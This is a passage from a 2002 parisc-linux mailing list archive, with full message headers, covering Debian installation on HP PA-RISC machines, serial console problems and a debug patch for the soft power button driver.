NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:41 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: ste <stemelchior@inwind.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 11:37:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailimailo.univ-rennes1.fr (mailimailo.univ-rennes1.fr [129.20.131.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2668483C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 11:37:52 -0600 (MDT)
Original-Received: from univ-rennes1.fr (localhost [127.0.0.1])
          by mailimailo.univ-rennes1.fr (8.9.3/jtpda-5.3.3) with ESMTP id TAA09556
          ; Wed, 3 Jul 2002 19:37:48 +0200 (MET DST)
X-Mailer: IMHO for Roxen
X-Originating-IP: [129.20.249.69]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15307

Yes, it seems to me it's a Vvv..WKP (a very very very well known problem), and the precedent answer was judicious: Skip over the keyboard's configuration during the installation.
(In fact, the Debian's Installer (see 'dbootstrap') doesn't hang completely, if you're trying to fix the keymap at this stage. But the keys get random defined)
As soon as Woody is installed on your hard drive and after the first reboot, you can configure your keyboard, running:
'kbdconfig' as root. Good Luck.
(nota: there is a lot of mails about it, in the mail-list of debian-hppa)



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 16:32:27 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <20020703203227.GE9009@systemhalted>
References: <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de> <20020703164631.F0CE2483A@dsl2.external.hp.com> <20020703165234.GG13244@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="+QahgC5+KEYLbs62"
X-Trace: ger.gmane.org 1416621461 9917 80.91.229.3 (22 Nov 2014 01:57:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:41 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 14:33:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7F22483D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 14:33:09 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17Pqnb-0002vQ-00; Wed, 03 Jul 2002 16:32:27 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020703165234.GG13244@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15308

--+QahgC5+KEYLbs62
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> > 
> > That's not needed for 712/715/B-class/et al.
> 
> Alas, I came back home today, pressed the button. And the machine
> still ran.
>

Could you please try this out and see if you see anything in your logs :)

c.

--+QahgC5+KEYLbs62
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="power.c.diff"

--- ./arch/parisc/kernel/power.c	Tue Jul  2 15:17:59 2002
+++ ./arch/parisc/kernel/power.c	Wed Jul  3 16:28:47 2002
@@ -55,6 +55,7 @@
 #include <asm/led.h>
 #include <asm/uaccess.h>
 
+#define DEBUG
 
 #ifdef DEBUG
 # define DPRINTK(x) printk x
@@ -123,6 +124,8 @@
 /* check, give feedback and start shutdown after one second */
 static void process_shutdown(void)
 {
+	DPRINTK((KERN_INFO "Processing shutodwn...\n"));
+
 	if (shutdown_timer == 0)
 		DPRINTK((KERN_INFO "Shutdown requested...\n"));
 
@@ -181,7 +184,12 @@
 static void polling_tasklet_func(unsigned long soft_power_reg)
 {
         unsigned long current_status;
-	
+
+#ifdef DEBUG
+	/* CAO July 3, 2002 - Prove we are using gecko tasklet */
+	BUG();
+#endif
+
 	if (!pwrsw_enabled)
 		return;
 
@@ -362,6 +370,8 @@
 	power_remove_procfs();
 	power_tasklet.func = NULL;
 	pdc_soft_power_button(0);
+
+	printk(KERN_INFO "Soft power switch disabled.\n");
 }
 
 module_init(power_init);

--+QahgC5+KEYLbs62--



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ste <stemelchior@inwind.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP9000/710
Date: Thu, 4 Jul 2002 10:38:44 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <02070410352000.00440__42912.7469230027$1416621462$gmane$org@www>
References: <200207031737.TAA09556@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621462 9919 80.91.229.3 (22 Nov 2014 01:57:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:42 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: <dlorin@univ-rennes1.fr>,
	"Erling A. Jacobsen" <linuxcub@email.dk>,
	Jan Heumann <jheumann@fonts.de>,
	Paolo Ambrosio <blues@iglu.cc.uniud.it>,
	Roberto Checcozzo <r.checcozzo@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 00:52:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.it (mail-3.tiscalinet.it [195.130.225.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2414483F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 00:52:23 -0600 (MDT)
Original-Received: from www (62.10.15.4) by mail.tiscali.it (6.5.026)
        id 3D1D5C7B001BE2B2; Thu, 4 Jul 2002 08:42:09 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <200207031737.TAA09556@mailimailo.univ-rennes1.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15309

On Wednesday 03 July 2002 20:37, dlorin@univ-rennes1.fr wrote:
> zI9@murphy>

>
> Yes, it seems to me it's a Vvv..WKP (a very very very well known problem),
> and the precedent answer was judicious: Skip over the keyboard's
> configuration during the installation. (In fact, the Debian's Installer
> (see 'dbootstrap') doesn't hang completely, if you're trying to fix the
> keymap at this stage. But the keys get random defined) As soon as Woody is
> installed on your hard drive and after the first reboot, you can configure
> your keyboard, running: 'kbdconfig' as root. Good Luck.
> (nota: there is a lot of mails about it, in the mail-list of debian-hppa)

YES I got it. I finally installed the Debian GNU/Linux on my own HP WS (I was 
an HP High-Availability Engineer, but I had always worked on HP9000 Servers 
and I never tried to install Linux on my HP9000/710 the last few days!). I am 
too excited!!! well the base system is well installed now, tonight I am going 
to proceed with the other useful pkgs.
Thanx guyz
Ste



From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Thu, 4 Jul 2002 14:22:42 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20020704122241.GY19722@charite.de>
References: <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de> <20020703164631.F0CE2483A@dsl2.external.hp.com> <20020703165234.GG13244@charite.de> <20020703203227.GE9009@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621462 9920 80.91.229.3 (22 Nov 2014 01:57:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 06:22:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 146B94840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 06:22:45 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id ACF3B15C02E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 14:22:43 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id DB80E633B3; Thu,  4 Jul 2002 14:22:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020703203227.GE9009@systemhalted>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15310

Am 03.07.2002 um 16:32:27 -0400 schrieb Carlos O'Donell folgendes:

> Could you please try this out and see if you see anything in your logs :)

Applied. Rebuilding now. Will try it out when I'm back home.

> --- ./arch/parisc/kernel/power.c	Tue Jul  2 15:17:59 2002
> +++ ./arch/parisc/kernel/power.c	Wed Jul  3 16:28:47 2002
> @@ -55,6 +55,7 @@
>  #include <asm/led.h>
>  #include <asm/uaccess.h>
>  
> +#define DEBUG
>  
>  #ifdef DEBUG
>  # define DPRINTK(x) printk x
> @@ -123,6 +124,8 @@
>  /* check, give feedback and start shutdown after one second */
>  static void process_shutdown(void)
>  {
> +	DPRINTK((KERN_INFO "Processing shutodwn...\n"));
> +
>  	if (shutdown_timer == 0)
>  		DPRINTK((KERN_INFO "Shutdown requested...\n"));
>  
> @@ -181,7 +184,12 @@
>  static void polling_tasklet_func(unsigned long soft_power_reg)
>  {
>          unsigned long current_status;
> -	
> +
> +#ifdef DEBUG
> +	/* CAO July 3, 2002 - Prove we are using gecko tasklet */
> +	BUG();
> +#endif
> +
>  	if (!pwrsw_enabled)
>  		return;
>  
> @@ -362,6 +370,8 @@
>  	power_remove_procfs();
>  	power_tasklet.func = NULL;
>  	pdc_soft_power_button(0);
> +
> +	printk(KERN_INFO "Soft power switch disabled.\n");
>  }
>  
>  module_init(power_init);


-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
The admin electroculted themselves whilst installing some cabling near the main power cable. Since the admin's body is the only thing keeping the power flowing, the management boarded up the body and pretended they still had a system administrator. 




From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Thu, 04 Jul 2002 14:51:18 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <3D2460E6.2040608@freebel.net>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net> <3D21E354.8050701@freebel.net> <OE17H31NKzHWcQTLwR20000190f@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621462 9925 80.91.229.3 (22 Nov 2014 01:57:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 08:49:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (unknown [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id A343C4842
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 08:49:39 -0600 (MDT)
Original-Received: from [62.235.236.209] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17Q7vI-00065c-00; Thu, 04 Jul 2002 16:49:33 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15311


Alex Green wrote:
> [....]
> 
> 
>>>If it is a hp terminal, you can change the emulation. It depends of the
>>>terminal type but you can have a look in your user guide or test (but I
>>>think that would request severall reboot) the emulation nearest vt100
>>
> IIRC.
> 
>>>Once you have found the right emulation, try first the more stable
>>>32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the
>>>kernel will switch to serial console on port 1).
>>
>>Another good solution could also be to run minicom as console emulation.
> 
> 
> So, should i set the terminal type to be VT102 IIRC or just VT102?.. the
> terminal is a proper HP Serial Console.
>
Sorry I have not any material neither doc to help you right now. Next 
week I will be back to office and more accurate details for your help.

> Is it possible to use the STI Console ( Which I believe to be the Graphics
> Adapter Console) to start the installation?
> 
Let first try to build a build a system wit serial console, than you 
would be able to choose install a more recent kernel 
(ftp://ftp.parisc-linux.org) to see if you can use STI (IIRC Standard 
Text Interface) with your Graphics adapter).

So yes STI give you actually a text interface for your console on your 
Graphical adaptor through fb (Frame Buffer) support.

> Thanks for the help
> Alex
>
See you later,
	Joel




From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Thu, 4 Jul 2002 16:58:43 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <OE40wtsQztQoPAzdaQY00001f9b@hotmail.com>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net> <3D21E354.8050701@freebel.net> <OE17H31NKzHWcQTLwR20000190f@hotmail.com> <3D2460E6.2040608@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621463 9928 80.91.229.3 (22 Nov 2014 01:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:43 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 08:58:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe40.law3.hotmail.com [209.185.240.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 775C04858
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 08:58:45 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 4 Jul 2002 07:58:44 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 04 Jul 2002 14:58:44.0906 (UTC) FILETIME=[4B2628A0:01C2236B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15312

ok thanks,

i've got a serial term connected, but the when the installer i get screen
corruption, I have tried vt52, vt100, vt102 and hp.  I have the same result
on all.

I've got a HP 700/96 Teminal.

Thanks again
Alex
----- Original Message -----
From: "Joel Soete" <joel.soete@freebel.net>
To: "Alex Green" <alexdgreen@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, July 04, 2002 4:51 PM
Subject: Re: [parisc-linux] Installing on C3600


>
>
> Alex Green wrote:
> > [....]
> >
> >
> >>>If it is a hp terminal, you can change the emulation. It depends of the
> >>>terminal type but you can have a look in your user guide or test (but I
> >>>think that would request severall reboot) the emulation nearest vt100
> >>
> > IIRC.
> >
> >>>Once you have found the right emulation, try first the more stable
> >>>32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the
> >>>kernel will switch to serial console on port 1).
> >>
> >>Another good solution could also be to run minicom as console emulation.
> >
> >
> > So, should i set the terminal type to be VT102 IIRC or just VT102?.. the
> > terminal is a proper HP Serial Console.
> >
> Sorry I have not any material neither doc to help you right now. Next
> week I will be back to office and more accurate details for your help.
>
> > Is it possible to use the STI Console ( Which I believe to be the
Graphics
> > Adapter Console) to start the installation?
> >
> Let first try to build a build a system wit serial console, than you
> would be able to choose install a more recent kernel
> (ftp://ftp.parisc-linux.org) to see if you can use STI (IIRC Standard
> Text Interface) with your Graphics adapter).
>
> So yes STI give you actually a text interface for your console on your
> Graphical adaptor through fb (Frame Buffer) support.
>
> > Thanks for the help
> > Alex
> >
> See you later,
> Joel
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "SEMETEYS Raphael - MTR ( rsemeteys@mtr.sema.slb.com )" <rsemeteys@mtr.sema.slb.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on HP9000/E25 ?
Date: Thu, 4 Jul 2002 17:31:29 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <63FDFE424494D411965B009027D0E4FB0206124F@mtrmes01.montrouge.eur.slb.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621463 9930 80.91.229.3 (22 Nov 2014 01:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:43 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 09:21:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailrelay2.sema.fr (unknown [195.101.110.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 802914845
	for <parisc-linux@parisc-linux.org>; Thu,  4 Jul 2002 09:21:19 -0600 (MDT)
Original-Received: from hubmes01.sema.fr (hubmes01.sema.fr [172.25.58.154])
	by mailrelay2.sema.fr (8.9.3/8.9.3) with ESMTP id RAA14908
	for <parisc-linux@parisc-linux.org>; Thu, 4 Jul 2002 17:25:44 +0200 (MET DST)
Original-Received: from mtrmes01.sema.fr (mtrmes01.montrouge.eur.slb.com [192.23.5.3]) by hubmes01.sema.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 32F1W5SY; Thu, 4 Jul 2002 17:24:20 +0100
Original-Received: by mtrmes01.montrouge.eur.slb.com with Internet Mail Service (5.5.2655.55)
	id <3HYZNQQ1>; Thu, 4 Jul 2002 17:31:29 +0200
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15313

Hi there,

I'd like to know if somedy already got througth installing Linux on a
HP9000/E25 server.=20
I'm trying to convinced my boss to do so but I'd like to know possible
limitations or known problems before beginning any installation.

Thanks in advance for your help.

________________________________
Rapha=EBl Semeteys
SchlumbergerSema
Centre de Comp=E9tences en Architecture Technique
16-18 rue Barb=E8s
92126 Montrouge CEDEX France
tel : +33 1 40 92 49 63
fax + 33 1 40 92 49 97





From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Thu, 04 Jul 2002 15:28:43 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <3D2469AB.3080102@freebel.net>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net> <3D21E354.8050701@freebel.net> <OE17H31NKzHWcQTLwR20000190f@hotmail.com> <3D2460E6.2040608@freebel.net> <OE40wtsQztQoPAzdaQY00001f9b@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621463 9934 80.91.229.3 (22 Nov 2014 01:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 09:27:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (unknown [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C2F14862
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 09:27:01 -0600 (MDT)
Original-Received: from [62.235.236.209] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17Q8VV-00067u-00; Thu, 04 Jul 2002 17:26:57 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
